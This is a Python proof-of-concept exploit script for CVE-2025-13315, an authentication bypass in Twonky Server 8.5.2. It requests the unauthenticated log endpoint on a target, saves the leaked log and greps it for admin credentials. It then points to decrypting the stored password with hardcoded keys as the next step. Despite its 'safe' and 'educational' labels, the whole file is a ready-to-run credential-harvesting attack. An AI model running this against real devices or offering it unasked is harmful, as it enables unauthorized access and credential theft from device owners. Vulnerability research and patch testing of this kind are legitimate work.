#!/usr/bin/env python3 """ Safe PoC for CVE-2025-13315 - Twonky Server 8.5.2 Authentication Bypass (Log Leak) Only leaks the log file via /nmc/rpc/log_getfile. Educational use only. """ import sys import requests import argparse from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings (many Twonky instances use self-signed certs) requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def main(): parser = argparse.ArgumentParser(description="Safe PoC for CVE-2025-13315 (Twonky Log Leak)") parser.add_argument("target", help="Target URL or IP (e.g., http://192.168.1.100:9000)") parser.add_argument("-o", "--output", default="twonky_leaked_log.txt", help="Output file name") parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds") args = parser.parse_args() # Normalize target URL url = args.target.rstrip("/") if not url.startswith("http"): url = "http://" + url vulnerable_endpoint = f"{url}/nmc/rpc/log_getfile" print(f"[+] Targeting: {url}") print(f"[+] Sending request to vulnerable endpoint: /nmc/rpc/log_getfile") try: response = requests.get( vulnerable_endpoint, timeout=args.timeout, verify=False, # Many embedded devices use self-signed certs headers={"User-Agent": "Mozilla/5.0 (compatible; CVE-2025-13315-PoC)"} ) print(f"[+] HTTP Status: {response.status_code}") if response.status_code != 200: print("[-] Non-200 response. Target may not be vulnerable or endpoint is blocked.") print(response.text[:500]) # Show first part for debugging sys.exit(1) # Save the full log with open(args.output, "w", encoding="utf-8", errors="ignore") as f: f.write(response.text) print(f"[+] Success! Leaked log saved to: {args.output}") print(f"[+] File size: {len(response.text)} bytes") # Simple heuristic to highlight possible credentials print("\n[+] Scanning for potential admin credentials in log...") lines = response.text.splitlines() for i, line in enumerate(lines): lower = line.lower() if any(kw in lower for kw in ["admin", "password", "passwd", "user=", "pass=", "encrypted"]): print(f" Line {i+1:4d}: {line.strip()[:120]}") print("\n[!] Next step (CVE-2025-13316): Decrypt the encrypted password using the hardcoded Blowfish keys.") print(" Do NOT do this on unauthorized targets.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") except Exception as e: print(f"[-] Unexpected error: {e}") if __name__ == "__main__": print("=== Safe PoC for CVE-2025-13315 (Twonky Server Log Leak) ===\n") main()